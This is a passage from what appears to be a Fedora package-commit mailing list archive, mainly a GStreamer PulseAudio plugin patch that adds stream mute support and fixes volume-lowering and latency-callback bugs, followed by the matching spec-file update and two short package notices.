 GstPulseMixerCtrl *gst_pulsemixer_ctrl_new (GObject *object, const gchar * server,
diff --git a/ext/pulse/pulseprobe.c b/ext/pulse/pulseprobe.c
index 588a9c3..6ebbfb2 100644
--- a/ext/pulse/pulseprobe.c
+++ b/ext/pulse/pulseprobe.c
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -99,15 +101,21 @@ static gboolean
 gst_pulseprobe_open (GstPulseProbe * c)
 {
   int e;
-  gchar *name = gst_pulse_client_name ();
+  gchar *name;
 
   g_assert (c);
 
+  GST_DEBUG_OBJECT (c->object, "probe open");
+
   c->mainloop = pa_threaded_mainloop_new ();
-  g_assert (c->mainloop);
+  if (!c->mainloop)
+    return FALSE;
 
   e = pa_threaded_mainloop_start (c->mainloop);
-  g_assert (e == 0);
+  if (e < 0)
+    return FALSE;
+
+  name = gst_pulse_client_name ();
 
   pa_threaded_mainloop_lock (c->mainloop);
 
@@ -184,6 +192,8 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
 {
   pa_operation *o = NULL;
 
+  GST_DEBUG_OBJECT (c->object, "probe enumerate");
+
   pa_threaded_mainloop_lock (c->mainloop);
 
   if (c->enumerate_sinks) {
@@ -197,7 +207,7 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
       goto unlock_and_fail;
     }
 
-    c->operation_success = 0;
+    c->operation_success = FALSE;
 
     while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
 
@@ -228,7 +238,7 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
       goto unlock_and_fail;
     }
 
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
 
       if (gst_pulseprobe_is_dead (c))
@@ -268,6 +278,8 @@ gst_pulseprobe_close (GstPulseProbe * c)
 {
   g_assert (c);
 
+  GST_DEBUG_OBJECT (c->object, "probe close");
+
   if (c->mainloop)
     pa_threaded_mainloop_stop (c->mainloop);
 
@@ -302,8 +314,11 @@ gst_pulseprobe_new (GObject * object, GObjectClass * klass,
   c->prop_id = prop_id;
   c->properties =
       g_list_append (NULL, g_object_class_find_property (klass, "device"));
+
   c->devices = NULL;
-  c->devices_valid = 0;
+  c->devices_valid = FALSE;
+
+  c->operation_success = FALSE;
 
   return c;
 }
diff --git a/ext/pulse/pulseprobe.h b/ext/pulse/pulseprobe.h
index bd20591..28cdbb8 100644
--- a/ext/pulse/pulseprobe.h
+++ b/ext/pulse/pulseprobe.h
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -36,17 +38,20 @@ struct _GstPulseProbe
 {
   GObject *object;
   gchar *server;
+
   GList *devices;
-  gboolean devices_valid;
+  gboolean devices_valid:1;
+
+  gboolean operation_success:1;
+
+  gboolean enumerate_sinks:1;
+  gboolean enumerate_sources:1;
 
   pa_threaded_mainloop *mainloop;
   pa_context *context;
 
   GList *properties;
   guint prop_id;
-
-  int enumerate_sinks, enumerate_sources;
-  int operation_success;
 };
 
 GstPulseProbe *gst_pulseprobe_new (GObject *object, GObjectClass * klass,
diff --git a/ext/pulse/pulsesink.c b/ext/pulse/pulsesink.c
index 7ead4fe..1fe2b72 100644
--- a/ext/pulse/pulsesink.c
+++ b/ext/pulse/pulsesink.c
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*  GStreamer pulseaudio plugin
  *
  *  Copyright (c) 2004-2008 Lennart Poettering
@@ -46,6 +48,8 @@
 
 #include <gst/base/gstbasesink.h>
 #include <gst/gsttaglist.h>
+#include <gst/interfaces/streamvolume.h>
+#include <gst/gst-i18n-plugin.h>
 
 #include "pulsesink.h"
 #include "pulseutil.h"
@@ -62,6 +66,7 @@ GST_DEBUG_CATEGORY_EXTERN (pulse_debug);
 #define DEFAULT_DEVICE          NULL
 #define DEFAULT_DEVICE_NAME     NULL
 #define DEFAULT_VOLUME          1.0
+#define DEFAULT_MUTE            FALSE
 #define MAX_VOLUME              10.0
 
 enum
@@ -71,6 +76,7 @@ enum
   PROP_DEVICE,
   PROP_DEVICE_NAME,
   PROP_VOLUME,
+  PROP_MUTE,
   PROP_LAST
 };
 
@@ -105,12 +111,10 @@ struct _GstPulseRingBuffer
   pa_stream *stream;
 
   pa_sample_spec sample_spec;
-  gint64 offset;
 
-  gboolean corked;
-  gboolean in_commit;
-  gboolean paused;
-  guint required;
+  gboolean corked:1;
+  gboolean in_commit:1;
+  gboolean paused:1;
 };
 
 struct _GstPulseRingBufferClass
@@ -216,8 +220,9 @@ gst_pulseringbuffer_init (GstPulseRingBuffer * pbuf,
   pbuf->sample_spec.channels = 0;
 #endif
 
-  pbuf->paused = FALSE;
   pbuf->corked = TRUE;
+  pbuf->in_commit = FALSE;
+  pbuf->paused = FALSE;
 }
 
 static void
@@ -543,6 +548,10 @@ gst_pulsering_stream_latency_cb (pa_stream * s, void *userdata)
   pbuf = GST_PULSERING_BUFFER_CAST (userdata);
   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
 
+  if (!info) {
+    GST_LOG_OBJECT (psink, "latency update (information unknown)");
+    return;
+  }
 #if HAVE_PULSE_0_9_11
   sink_usec = info->configured_sink_usec;
 #else
@@ -557,6 +566,35 @@ gst_pulsering_stream_latency_cb (pa_stream * s, void *userdata)
       info->sink_usec, sink_usec);
 }
 
+#if HAVE_PULSE_0_9_15
+static void
+gst_pulsering_stream_event_cb (pa_stream * p, const char *name,
+    pa_proplist * pl, void *userdata)
+{
+  GstPulseSink *psink;
+  GstPulseRingBuffer *pbuf;
+
+  pbuf = GST_PULSERING_BUFFER_CAST (userdata);
+  psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
+
+  if (!strcmp (name, PA_STREAM_EVENT_REQUEST_CORK)) {
+    /* the stream wants to PAUSE, post a message for the application. */
+    GST_DEBUG_OBJECT (psink, "got request for CORK");
+    gst_element_post_message (GST_ELEMENT_CAST (psink),
+        gst_message_new_request_state (GST_OBJECT_CAST (psink),
+            GST_STATE_PAUSED));
+
+  } else if (!strcmp (name, PA_STREAM_EVENT_REQUEST_UNCORK)) {
+    GST_DEBUG_OBJECT (psink, "got request for UNCORK");
+    gst_element_post_message (GST_ELEMENT_CAST (psink),
+        gst_message_new_request_state (GST_OBJECT_CAST (psink),
+            GST_STATE_PLAYING));
+  } else {
+    GST_DEBUG_OBJECT (psink, "got unknown event %s", name);
+  }
+}
+#endif
+
 /* This method should create a new stream of the given @spec. No playback should
  * start yet so we start in the corked state. */
 static gboolean
@@ -564,15 +602,14 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
 {
   GstPulseSink *psink;
   GstPulseRingBuffer *pbuf;
-  pa_buffer_attr buf_attr;
-  const pa_buffer_attr *buf_attr_ptr;
+  pa_buffer_attr wanted;
+  const pa_buffer_attr *actual;
   pa_channel_map channel_map;
   pa_operation *o = NULL;
   pa_cvolume v, *pv;
   pa_stream_flags_t flags;
   const gchar *name;
   GstAudioClock *clock;
-  gint64 time_offset;
 
   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (buf));
   pbuf = GST_PULSERING_BUFFER_CAST (buf);
@@ -622,19 +659,23 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
       gst_pulsering_stream_overflow_cb, pbuf);
   pa_stream_set_latency_update_callback (pbuf->stream,
       gst_pulsering_stream_latency_cb, pbuf);
+#if HAVE_PULSE_0_9_15
+  pa_stream_set_event_callback (pbuf->stream,
+      gst_pulsering_stream_event_cb, pbuf);
+#endif
 
   /* buffering requirements. When setting prebuf to 0, the stream will not pause
    * when we cause an underrun, which causes time to continue. */
-  memset (&buf_attr, 0, sizeof (buf_attr));
-  buf_attr.tlength = spec->segtotal * spec->segsize;
-  buf_attr.maxlength = -1;
-  buf_attr.prebuf = 0;
-  buf_attr.minreq = -1;
+  memset (&wanted, 0, sizeof (wanted));
+  wanted.tlength = spec->segtotal * spec->segsize;
+  wanted.maxlength = -1;
+  wanted.prebuf = 0;
+  wanted.minreq = spec->segsize;
 
-  GST_INFO_OBJECT (psink, "tlength:   %d", buf_attr.tlength);
-  GST_INFO_OBJECT (psink, "maxlength: %d", buf_attr.maxlength);
-  GST_INFO_OBJECT (psink, "prebuf:    %d", buf_attr.prebuf);
-  GST_INFO_OBJECT (psink, "minreq:    %d", buf_attr.minreq);
+  GST_INFO_OBJECT (psink, "tlength:   %d", wanted.tlength);
+  GST_INFO_OBJECT (psink, "maxlength: %d", wanted.maxlength);
+  GST_INFO_OBJECT (psink, "prebuf:    %d", wanted.prebuf);
+  GST_INFO_OBJECT (psink, "minreq:    %d", wanted.minreq);
 
   /* configure volume when we changed it, else we leave the default */
   if (psink->volume_set) {
@@ -653,6 +694,11 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
 #endif
       PA_STREAM_START_CORKED;
 
+#if HAVE_PULSE_0_9_12
+  if (psink->mute_set && psink->mute)
+    flags |= PA_STREAM_START_MUTED;
+#endif
+
   /* we always start corked (see flags above) */
   pbuf->corked = TRUE;
 
@@ -660,25 +706,12 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
   GST_LOG_OBJECT (psink, "connect for playback to device %s",
       GST_STR_NULL (psink->device));
   if (pa_stream_connect_playback (pbuf->stream, psink->device,
-          &buf_attr, flags, pv, NULL) < 0)
+          &wanted, flags, pv, NULL) < 0)
     goto connect_failed;
 
   /* our clock will now start from 0 again */
   clock = GST_AUDIO_CLOCK (GST_BASE_AUDIO_SINK (psink)->provided_clock);
   gst_audio_clock_reset (clock, 0);
-  time_offset = clock->abidata.ABI.time_offset;
-
-  GST_LOG_OBJECT (psink, "got time offset %" GST_TIME_FORMAT,
-      GST_TIME_ARGS (time_offset));
-
-  /* calculate the sample offset for 0 */
-  if (time_offset > 0)
-    pbuf->offset = gst_util_uint64_scale_int (time_offset,
-        pbuf->sample_spec.rate, GST_SECOND);
-  else
-    pbuf->offset = -gst_util_uint64_scale_int (-time_offset,
-        pbuf->sample_spec.rate, GST_SECOND);
-  GST_LOG_OBJECT (psink, "sample offset %" G_GINT64_FORMAT, pbuf->offset);
 
   for (;;) {
     pa_stream_state_t state;
@@ -697,20 +730,24 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
     pa_threaded_mainloop_wait (psink->mainloop);
   }
 
+  /* After we passed the volume off of to PA we never want to set it
+     again, since it is PA's job to save/restore volumes.  */
+  psink->volume_set = psink->mute_set = FALSE;
+
   GST_LOG_OBJECT (psink, "stream is acquired now");
 
   /* get the actual buffering properties now */
-  buf_attr_ptr = pa_stream_get_buffer_attr (pbuf->stream);
+  actual = pa_stream_get_buffer_attr (pbuf->stream);
 
-  GST_INFO_OBJECT (psink, "tlength:   %d (wanted: %d)", buf_attr_ptr->tlength,
-      buf_attr.tlength);
-  GST_INFO_OBJECT (psink, "maxlength: %d", buf_attr_ptr->maxlength);
-  GST_INFO_OBJECT (psink, "prebuf:    %d", buf_attr_ptr->prebuf);
-  GST_INFO_OBJECT (psink, "minreq:    %d (wanted %d)", buf_attr_ptr->minreq,
-      buf_attr.minreq);
+  GST_INFO_OBJECT (psink, "tlength:   %d (wanted: %d)", actual->tlength,
+      wanted.tlength);
+  GST_INFO_OBJECT (psink, "maxlength: %d", actual->maxlength);
+  GST_INFO_OBJECT (psink, "prebuf:    %d", actual->prebuf);
+  GST_INFO_OBJECT (psink, "minreq:    %d (wanted %d)", actual->minreq,
+      wanted.minreq);
 
-  spec->segsize = buf_attr_ptr->minreq;
-  spec->segtotal = buf_attr_ptr->tlength / spec->segsize;
+  spec->segsize = actual->minreq;
+  spec->segtotal = actual->tlength / spec->segsize;
 
   pa_threaded_mainloop_unlock (psink->mainloop);
 
@@ -1096,8 +1133,10 @@ gst_pulseringbuffer_commit (GstRingBuffer * buf, guint64 * sample,
   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
 
   /* FIXME post message rather than using a signal (as mixer interface) */
-  if (g_atomic_int_compare_and_exchange (&psink->notify, 1, 0))
+  if (g_atomic_int_compare_and_exchange (&psink->notify, 1, 0)) {
     g_object_notify (G_OBJECT (psink), "volume");
+    g_object_notify (G_OBJECT (psink), "mute");
+  }
 
   /* make sure the ringbuffer is started */
   if (G_UNLIKELY (g_atomic_int_get (&buf->state) !=
@@ -1139,21 +1178,8 @@ gst_pulseringbuffer_commit (GstRingBuffer * buf, guint64 * sample,
   if (pbuf->paused)
     goto was_paused;
 
-  /* correct for sample offset against the internal clock */
-  offset = *sample;
-  if (pbuf->offset >= 0) {
-    if (offset > pbuf->offset)
-      offset -= pbuf->offset;
-    else
-      offset = 0;
-  } else {
-    if (offset > -pbuf->offset)
-      offset += pbuf->offset;
-    else
-      offset = 0;
-  }
   /* offset is in bytes */
-  offset *= bps;
+  offset = *sample * bps;
 
   while (*toprocess > 0) {
     size_t avail;
@@ -1375,6 +1401,13 @@ gst_pulsesink_init_interfaces (GType type)
     NULL,
     NULL,
   };
+#if HAVE_PULSE_0_9_12
+  static const GInterfaceInfo svol_iface_info = {
+    NULL, NULL, NULL
+  };
+
+  g_type_add_interface_static (type, GST_TYPE_STREAM_VOLUME, &svol_iface_info);
+#endif
 
   g_type_add_interface_static (type, GST_TYPE_IMPLEMENTS_INTERFACE,
       &implements_iface_info);
@@ -1498,7 +1531,12 @@ gst_pulsesink_class_init (GstPulseSinkClass * klass)
   g_object_class_install_property (gobject_class,
       PROP_VOLUME,
       g_param_spec_double ("volume", "Volume",
-          "Volume of this stream, 1.0=100%", 0.0, MAX_VOLUME, DEFAULT_VOLUME,
+          "Linear volume of this stream, 1.0=100%", 0.0, MAX_VOLUME,
+          DEFAULT_VOLUME, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
+  g_object_class_install_property (gobject_class,
+      PROP_MUTE,
+      g_param_spec_boolean ("mute", "Mute",
+          "Mute state of this stream", DEFAULT_MUTE,
           G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
 #endif
 }
@@ -1554,9 +1592,12 @@ gst_pulsesink_init (GstPulseSink * pulsesink, GstPulseSinkClass * klass)
   pulsesink->device = NULL;
   pulsesink->device_description = NULL;
 
-  pulsesink->volume = 1.0;
+  pulsesink->volume = DEFAULT_VOLUME;
   pulsesink->volume_set = FALSE;
 
+  pulsesink->mute = DEFAULT_MUTE;
+  pulsesink->mute_set = FALSE;
+
   pulsesink->notify = 0;
 
   /* needed for conditional execution */
@@ -1617,9 +1658,6 @@ gst_pulsesink_set_volume (GstPulseSink * psink, gdouble volume)
 
   GST_DEBUG_OBJECT (psink, "setting volume to %f", volume);
 
-  psink->volume = volume;
-  psink->volume_set = TRUE;
-
   pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
   if (pbuf == NULL || pbuf->stream == NULL)
     goto no_buffer;
@@ -1646,6 +1684,9 @@ unlock:
   /* ERRORS */
 no_buffer:
   {
+    psink->volume = volume;
+    psink->volume_set = TRUE;
+
     GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
     goto unlock;
   }
@@ -1664,6 +1705,61 @@ volume_failed:
 }
 
 static void
+gst_pulsesink_set_mute (GstPulseSink * psink, gboolean mute)
+{
+  pa_operation *o = NULL;
+  GstPulseRingBuffer *pbuf;
+  uint32_t idx;
+
+  pa_threaded_mainloop_lock (psink->mainloop);
+
+  GST_DEBUG_OBJECT (psink, "setting mute state to %d", mute);
+
+  pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
+  if (pbuf == NULL || pbuf->stream == NULL)
+    goto no_buffer;
+
+  if ((idx = pa_stream_get_index (pbuf->stream)) == PA_INVALID_INDEX)
+    goto no_index;
+
+  if (!(o = pa_context_set_sink_input_mute (pbuf->context, idx,
+              mute, NULL, NULL)))
+    goto mute_failed;
+
+  /* We don't really care about the result of this call */
+unlock:
+
+  if (o)
+    pa_operation_unref (o);
+
+  pa_threaded_mainloop_unlock (psink->mainloop);
+
+  return;
+
+  /* ERRORS */
+no_buffer:
+  {
+    psink->mute = mute;
+    psink->mute_set = TRUE;
+
+    GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
+    goto unlock;
+  }
+no_index:
+  {
+    GST_DEBUG_OBJECT (psink, "we don't have a stream index");
+    goto unlock;
+  }
+mute_failed:
+  {
+    GST_ELEMENT_ERROR (psink, RESOURCE, FAILED,
+        ("pa_stream_set_sink_input_mute() failed: %s",
+            pa_strerror (pa_context_errno (pbuf->context))), (NULL));
+    goto unlock;
+  }
+}
+
+static void
 gst_pulsesink_sink_input_info_cb (pa_context * c, const pa_sink_input_info * i,
     int eol, void *userdata)
 {
@@ -1682,8 +1778,10 @@ gst_pulsesink_sink_input_info_cb (pa_context * c, const pa_sink_input_info * i,
   /* If the index doesn't match our current stream,
    * it implies we just recreated the stream (caps change)
    */
-  if (i->index == pa_stream_get_index (pbuf->stream))
+  if (i->index == pa_stream_get_index (pbuf->stream)) {
     psink->volume = pa_sw_volume_to_linear (pa_cvolume_max (&i->volume));
+    psink->mute = i->mute;
+  }
 
 done:
   pa_threaded_mainloop_signal (psink->mainloop, 0);
@@ -1694,7 +1792,7 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
 {
   GstPulseRingBuffer *pbuf;
   pa_operation *o = NULL;
-  gdouble v;
+  gdouble v = DEFAULT_VOLUME;
   uint32_t idx;
 
   pa_threaded_mainloop_lock (psink->mainloop);
@@ -1716,11 +1814,12 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
       goto unlock;
   }
 
+  v = psink->volume;
+
 unlock:
   if (o)
     pa_operation_unref (o);
 
-  v = psink->volume;
   pa_threaded_mainloop_unlock (psink->mainloop);
 
   if (v > MAX_VOLUME) {
@@ -1749,6 +1848,63 @@ info_failed:
     goto unlock;
   }
 }
+
+static gboolean
+gst_pulsesink_get_mute (GstPulseSink * psink)
+{
+  GstPulseRingBuffer *pbuf;
+  pa_operation *o = NULL;
+  uint32_t idx;
+  gboolean mute = FALSE;
+
+  pa_threaded_mainloop_lock (psink->mainloop);
+
+  pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
+  if (pbuf == NULL || pbuf->stream == NULL)
+    goto no_buffer;
+
+  if ((idx = pa_stream_get_index (pbuf->stream)) == PA_INVALID_INDEX)
+    goto no_index;
+
+  if (!(o = pa_context_get_sink_input_info (pbuf->context, idx,
+              gst_pulsesink_sink_input_info_cb, pbuf)))
+    goto info_failed;
+
+  while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
+    pa_threaded_mainloop_wait (psink->mainloop);
+    if (gst_pulsering_is_dead (psink, pbuf))
+      goto unlock;
+  }
+
+  mute = psink->mute;
+
+unlock:
+  if (o)
+    pa_operation_unref (o);
+
+  pa_threaded_mainloop_unlock (psink->mainloop);
+
+  return mute;
+
+  /* ERRORS */
+no_buffer:
+  {
+    GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
+    goto unlock;
+  }
+no_index:
+  {
+    GST_DEBUG_OBJECT (psink, "we don't have a stream index");
+    goto unlock;
+  }
+info_failed:
+  {
+    GST_ELEMENT_ERROR (psink, RESOURCE, FAILED,
+        ("pa_context_get_sink_input_info() failed: %s",
+            pa_strerror (pa_context_errno (pbuf->context))), (NULL));
+    goto unlock;
+  }
+}
 #endif
 
 static void
@@ -1844,6 +2000,9 @@ gst_pulsesink_set_property (GObject * object,
     case PROP_VOLUME:
       gst_pulsesink_set_volume (pulsesink, g_value_get_double (value));
       break;
+    case PROP_MUTE:
+      gst_pulsesink_set_mute (pulsesink, g_value_get_boolean (value));
+      break;
 #endif
     default:
       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
@@ -1872,6 +2031,9 @@ gst_pulsesink_get_property (GObject * object,
     case PROP_VOLUME:
       g_value_set_double (value, gst_pulsesink_get_volume (pulsesink));
       break;
+    case PROP_MUTE:
+      g_value_set_boolean (value, gst_pulsesink_get_mute (pulsesink));
+      break;
 #endif
     default:
       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
@@ -1927,6 +2089,10 @@ gst_pulsesink_change_props (GstPulseSink * psink, GstTagList * l)
 {
   static const gchar *const map[] = {
     GST_TAG_TITLE, PA_PROP_MEDIA_TITLE,
+
+    /* might get overriden in the next iteration by GST_TAG_ARTIST */
+    GST_TAG_PERFORMER, PA_PROP_MEDIA_ARTIST,
+
     GST_TAG_ARTIST, PA_PROP_MEDIA_ARTIST,
     GST_TAG_LANGUAGE_CODE, PA_PROP_MEDIA_LANGUAGE,
     GST_TAG_LOCATION, PA_PROP_MEDIA_FILENAME,
@@ -2015,9 +2181,12 @@ gst_pulsesink_event (GstBaseSink * sink, GstEvent * event)
       gst_tag_list_get_string (l, GST_TAG_LOCATION, &location);
       gst_tag_list_get_string (l, GST_TAG_DESCRIPTION, &description);
 
+      if (!artist)
+        gst_tag_list_get_string (l, GST_TAG_PERFORMER, &artist);
+
       if (title && artist)
         t = buf =
-            g_strdup_printf ("'%s' by '%s'", g_strstrip (title),
+            g_strdup_printf (_("'%s' by '%s'"), g_strstrip (title),
             g_strstrip (artist));
       else if (title)
         t = g_strstrip (title);
diff --git a/ext/pulse/pulsesink.h b/ext/pulse/pulsesink.h
index 8db3cbd..ae0ad95 100644
--- a/ext/pulse/pulsesink.h
+++ b/ext/pulse/pulsesink.h
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -60,12 +62,16 @@ struct _GstPulseSink
   GstPulseProbe *probe;
 
   gdouble volume;
-  gboolean volume_set;
-  gint notify;
-  
+  gboolean volume_set:1;
+  gboolean mute:1;
+  gboolean mute_set:1;
+
+  gboolean pa_defer_ran:1;
+
+  gint notify; /* atomic */
+
   const gchar *pa_version;
 
-  gboolean pa_defer_ran;
 };
 
 struct _GstPulseSinkClass
diff --git a/ext/pulse/pulsesrc.c b/ext/pulse/pulsesrc.c
index fa60345..d53acf8 100644
--- a/ext/pulse/pulsesrc.c
+++ b/ext/pulse/pulsesrc.c
@@ -528,6 +528,11 @@ gst_pulsesrc_stream_latency_update_cb (pa_stream * s, void *userdata)
 
   info = pa_stream_get_timing_info (s);
 
+  if (!info) {
+    GST_LOG_OBJECT (GST_PULSESRC_CAST (userdata),
+        "latency update (information unknown)");
+    return;
+  }
 #if HAVE_PULSE_0_9_11
   source_usec = info->configured_source_usec;
 #else
@@ -945,25 +950,25 @@ no_nego_needed:
 static gboolean
 gst_pulsesrc_prepare (GstAudioSrc * asrc, GstRingBufferSpec * spec)
 {
-  pa_buffer_attr buf_attr;
-  const pa_buffer_attr *buf_attr_ptr;
+  pa_buffer_attr wanted;
+  const pa_buffer_attr *actual;
   GstPulseSrc *pulsesrc = GST_PULSESRC_CAST (asrc);
 
   pa_threaded_mainloop_lock (pulsesrc->mainloop);
 
-  buf_attr.maxlength = -1;
-  buf_attr.tlength = -1;
-  buf_attr.prebuf = 0;
-  buf_attr.minreq = -1;
-  buf_attr.fragsize = spec->segsize;
+  wanted.maxlength = -1;
+  wanted.tlength = -1;
+  wanted.prebuf = 0;
+  wanted.minreq = -1;
+  wanted.fragsize = spec->segsize;
 
-  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", buf_attr.maxlength);
-  GST_INFO_OBJECT (pulsesrc, "tlength:   %d", buf_attr.tlength);
-  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", buf_attr.prebuf);
-  GST_INFO_OBJECT (pulsesrc, "minreq:    %d", buf_attr.minreq);
-  GST_INFO_OBJECT (pulsesrc, "fragsize:  %d", buf_attr.fragsize);
+  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", wanted.maxlength);
+  GST_INFO_OBJECT (pulsesrc, "tlength:   %d", wanted.tlength);
+  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", wanted.prebuf);
+  GST_INFO_OBJECT (pulsesrc, "minreq:    %d", wanted.minreq);
+  GST_INFO_OBJECT (pulsesrc, "fragsize:  %d", wanted.fragsize);
 
-  if (pa_stream_connect_record (pulsesrc->stream, pulsesrc->device, &buf_attr,
+  if (pa_stream_connect_record (pulsesrc->stream, pulsesrc->device, &wanted,
           PA_STREAM_INTERPOLATE_TIMING |
           PA_STREAM_AUTO_TIMING_UPDATE | PA_STREAM_NOT_MONOTONOUS |
 #if HAVE_PULSE_0_9_11
@@ -998,20 +1003,23 @@ gst_pulsesrc_prepare (GstAudioSrc * asrc, GstRingBufferSpec * spec)
   }
 
   /* get the actual buffering properties now */
-  buf_attr_ptr = pa_stream_get_buffer_attr (pulsesrc->stream);
+  actual = pa_stream_get_buffer_attr (pulsesrc->stream);
 
-  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", buf_attr_ptr->maxlength);
+  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", actual->maxlength);
   GST_INFO_OBJECT (pulsesrc, "tlength:   %d (wanted: %d)",
-      buf_attr_ptr->tlength, buf_attr.tlength);
-  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", buf_attr_ptr->prebuf);
-  GST_INFO_OBJECT (pulsesrc, "minreq:    %d (wanted %d)", buf_attr_ptr->minreq,
-      buf_attr.minreq);
+      actual->tlength, wanted.tlength);
+  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", actual->prebuf);
+  GST_INFO_OBJECT (pulsesrc, "minreq:    %d (wanted %d)", actual->minreq,
+      wanted.minreq);
   GST_INFO_OBJECT (pulsesrc, "fragsize:  %d (wanted %d)",
-      buf_attr_ptr->fragsize, buf_attr.fragsize);
+      actual->fragsize, wanted.fragsize);
 
-  /* adjust latency again */
-  spec->segsize = buf_attr_ptr->fragsize;
-  spec->segtotal = buf_attr_ptr->maxlength / spec->segsize;
+  if (actual->fragsize >= wanted.fragsize) {
+    spec->segsize = actual->fragsize;
+  } else {
+    spec->segsize = actual->fragsize * (wanted.fragsize / actual->fragsize);
+  }
+  spec->segtotal = actual->maxlength / spec->segsize;
 
   pa_threaded_mainloop_unlock (pulsesrc->mainloop);
 
diff --git a/ext/pulse/pulsesrc.h b/ext/pulse/pulsesrc.h
index 2358eba..be89434 100644
--- a/ext/pulse/pulsesrc.h
+++ b/ext/pulse/pulsesrc.h
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -70,10 +72,10 @@ struct _GstPulseSrc
   GstPulseMixerCtrl *mixer;
   GstPulseProbe *probe;
 
-  gboolean corked;
-  gboolean operation_success;
-  gboolean paused;
-  gboolean in_read;
+  gboolean corked:1;
+  gboolean operation_success:1;
+  gboolean paused:1;
+  gboolean in_read:1;
 };
 
 struct _GstPulseSrcClass


Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/devel/gstreamer-plugins-good.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- gstreamer-plugins-good.spec	16 Oct 2009 10:44:45 -0000	1.104
+++ gstreamer-plugins-good.spec	17 Oct 2009 01:51:15 -0000	1.105
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	2%{?dist}
+Release:  	3%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -73,6 +73,10 @@ BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
 
+# http://bugzilla.gnome.org/show_bug.cgi?id=595231
+# and many others
+Patch2: pulsesink-lowering-volumes.patch
+
 %description
 GStreamer is a streaming media framework, based on graphs of filters which
 operate on media data. Applications using this library can do anything
@@ -111,6 +115,7 @@ This is a dummy package to make gstreame
 %patch1 -p1 -b .autoconvert-caps
 libtoolize -f
 autoreconf
+%patch2 -p1 -b .volume-lowering
 
 %build
 
@@ -274,6 +279,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
+- Finally fix pulsesink volume lowering problems (#488532)
+
 * Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
 - Fix autoconvert caps negotiation
 



From pkgdb at fedoraproject.org  Sat Oct 17 02:18:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 02:18:13 +0000
Subject: [pkgdb] aiccu ownership updated
Message-ID: <20091017021813.C82C910F87E@bastion2.fedora.phx.redhat.com>

Package aiccu in Fedora 10 is now owned by nb

To make changes to this package see:
  /pkgdb/packages/name/aiccu



From rdieter at fedoraproject.org  Sat Oct 17 03:05:38 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 17 Oct 2009 03:05:38 +0000 (UTC)
Subject: rpms/qscintilla/devel qscintilla.spec,1.29,1.30
Message-ID: <20091017030538.6719211C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qscintilla/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6477

Modified Files:
	qscintilla.spec 
Log Message:
